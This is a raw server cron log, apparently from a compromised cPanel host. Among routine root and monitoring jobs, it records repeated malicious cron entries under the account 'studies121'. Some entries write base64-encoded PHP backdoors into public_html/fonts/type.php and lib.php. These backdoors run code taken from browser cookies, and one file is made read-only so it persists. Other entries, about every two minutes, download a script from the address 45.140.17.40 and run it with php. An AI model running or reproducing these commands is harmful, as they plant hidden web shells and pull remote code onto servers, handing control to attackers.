Sep  2 19:30:01 ip-184-168-122-23 CROND[1858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:30:01 ip-184-168-122-23 CROND[1859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:30:01 ip-184-168-122-23 CROND[1857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:30:01 ip-184-168-122-23 CROND[1860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:30:01 ip-184-168-122-23 CROND[1862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:30:01 ip-184-168-122-23 CROND[1855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:30:01 ip-184-168-122-23 CROND[1856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:30:01 ip-184-168-122-23 CROND[1861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:31:01 ip-184-168-122-23 CROND[1983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:31:01 ip-184-168-122-23 CROND[1985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:31:01 ip-184-168-122-23 CROND[1986]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 19:31:01 ip-184-168-122-23 CROND[1987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:31:01 ip-184-168-122-23 CROND[1989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:32:01 ip-184-168-122-23 CROND[2075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:32:01 ip-184-168-122-23 CROND[2077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:32:01 ip-184-168-122-23 CROND[2082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:32:01 ip-184-168-122-23 CROND[2080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:32:01 ip-184-168-122-23 CROND[2081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:33:01 ip-184-168-122-23 CROND[2169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:33:01 ip-184-168-122-23 CROND[2170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:33:01 ip-184-168-122-23 CROND[2174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:33:01 ip-184-168-122-23 CROND[2175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:34:01 ip-184-168-122-23 CROND[2256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:34:01 ip-184-168-122-23 CROND[2255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:34:01 ip-184-168-122-23 CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:34:01 ip-184-168-122-23 CROND[2261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:34:01 ip-184-168-122-23 CROND[2262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2448]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:35:01 ip-184-168-122-23 CROND[2451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:36:01 ip-184-168-122-23 CROND[2551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:36:01 ip-184-168-122-23 CROND[2553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:36:01 ip-184-168-122-23 CROND[2556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:36:01 ip-184-168-122-23 CROND[2554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:36:01 ip-184-168-122-23 CROND[2555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:37:02 ip-184-168-122-23 CROND[2664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:37:02 ip-184-168-122-23 CROND[2663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:37:02 ip-184-168-122-23 CROND[2665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:37:02 ip-184-168-122-23 CROND[2666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:38:01 ip-184-168-122-23 CROND[2745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:38:01 ip-184-168-122-23 CROND[2752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:38:01 ip-184-168-122-23 CROND[2753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:38:01 ip-184-168-122-23 CROND[2754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:38:01 ip-184-168-122-23 CROND[2755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:39:01 ip-184-168-122-23 CROND[2860]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 19:39:01 ip-184-168-122-23 CROND[2863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:39:01 ip-184-168-122-23 CROND[2862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:39:01 ip-184-168-122-23 CROND[2864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:39:01 ip-184-168-122-23 CROND[2865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:40:01 ip-184-168-122-23 CROND[2976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:40:01 ip-184-168-122-23 CROND[2978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:40:01 ip-184-168-122-23 CROND[2979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:40:01 ip-184-168-122-23 CROND[2981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:40:01 ip-184-168-122-23 CROND[2987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:40:01 ip-184-168-122-23 CROND[2986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:40:01 ip-184-168-122-23 CROND[2985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:40:01 ip-184-168-122-23 CROND[2988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:41:02 ip-184-168-122-23 CROND[3078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:41:02 ip-184-168-122-23 CROND[3079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:41:02 ip-184-168-122-23 CROND[3080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:41:02 ip-184-168-122-23 CROND[3081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:42:01 ip-184-168-122-23 CROND[3247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
